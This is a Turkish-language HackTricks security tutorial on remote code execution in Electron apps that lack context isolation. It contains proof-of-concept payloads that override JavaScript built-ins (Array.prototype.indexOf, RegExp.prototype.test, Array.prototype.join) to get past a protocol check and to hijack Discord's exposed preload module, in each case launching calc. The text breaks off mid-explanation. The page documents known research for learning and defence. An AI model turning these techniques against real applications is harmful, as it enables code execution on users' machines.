Electron contextIsolation RCE via preload code
Reading time: 2 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Örnek 1
https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 adresinden bir örnek
Bu kod, http(s) bağlantılarını varsayılan tarayıcı ile açar:
file:///C:/Windows/systemd32/calc.exe
gibi bir şey, bir hesap makinesi çalıştırmak için kullanılabilir, SAFE_PROTOCOLS.indexOf
bunu engelliyor.
Bu nedenle, bir saldırgan bu JS kodunu XSS veya keyfi sayfa navigasyonu aracılığıyla enjekte edebilir:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
SAFE_PROTOCOLS.indexOf
çağrısı her zaman 1337 döndüreceğinden, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Orijinal slaytlara, izin istemeden programları çalıştırmanın diğer yollarını kontrol edin.
Görünüşe göre kod yüklemek ve çalıştırmak için file://127.0.0.1/electron/rce.jar
gibi bir şeye erişmek başka bir yol.
Örnek 2: Discord Uygulaması RCE
https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1 adresinden bir örnek
Ön yükleme betiklerini kontrol ederken, Discord'un bazı izin verilen modüllerin DiscordNative.nativeModules.requireModule('MODULE-NAME')
aracılığıyla çağrılmasına izin veren bir işlevi web sayfasına açtığını buldum.
Burada, RCE için doğrudan kullanılabilecek child_process modülü gibi modülleri kullanamadım, ancak JavaScript yerleşik yöntemlerini geçersiz kılarak ve açığa çıkarılan modülün yürütülmesine müdahale ederek RCE'nin elde edilebileceği bir kod buldum.
Aşağıda PoC bulunmaktadır. calc uygulamasının, RegExp.prototype.test
ve Array.prototype.join
yöntemlerini geçersiz kılarken, devTools'tan "discord_utils" adlı modülde tanımlı getGPUDriverVersions
fonksiyonunu çağırdığımda açıldığını doğruladım.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
getGPUDriverVersions
fonksiyonu, programı "execa" kütüphanesini kullanarak çalıştırmaya çalışır, aşağıdaki gibi:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Genellikle execa, nvidiaSmiPath
değişkeninde belirtilen "nvidia-smi.exe" dosyasını çalıştırmaya çalışır, ancak RegExp.prototype.test
ve Array.prototype.join
'ın geçersiz kılınması nedeniyle, argüman _execa_'nın iç işleyişinde "calc" ile değiştirilir.
Özellikle, argüman aşağıdaki iki bölüm değiştirilerek değiştirilir.